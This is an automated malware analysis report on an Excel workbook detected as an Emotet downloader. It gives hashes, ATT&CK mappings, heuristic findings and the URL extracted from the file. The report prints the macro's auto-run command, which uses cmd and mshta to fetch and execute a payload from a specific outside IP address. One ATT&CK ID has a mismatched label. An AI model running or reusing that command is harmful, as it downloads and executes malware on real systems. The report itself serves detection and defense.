Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 c20afe30d16f476d…

MALICIOUS

Office (OLE) / .XLSX

44.1 KB Created: 2022-01-26 14:19:06 Authoring application: Microsoft Excel
MD5: 48d23901a80af4c5054b03c89afa7cf8 SHA-1: cf53b3b3e6bc49f98ce069c8db75ede5d7113dbf SHA-256: c20afe30d16f476d65c782385e7884b985c0dac16c79070d22e5fbad1a10982d
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Service Execution T1204.002 Malicious File Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is designed to execute automatically upon opening. This macro uses the EXEC function to run 'cmd /c mshta http://91.240.118.168/fe/f.html', indicating an attempt to download and execute a second-stage payload from the specified URL. The presence of mshta.exe and the URL strongly suggest a downloader or initial access mechanism.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.Emotet01220-9937698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet01220-9937698-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/fe/f.htmlB
    • http://91.240.118.168/fe/f.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1496b5efc0849ea9e0695ef96c66819bec865a2ce110a32e705833c9ed3fc17b		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1149 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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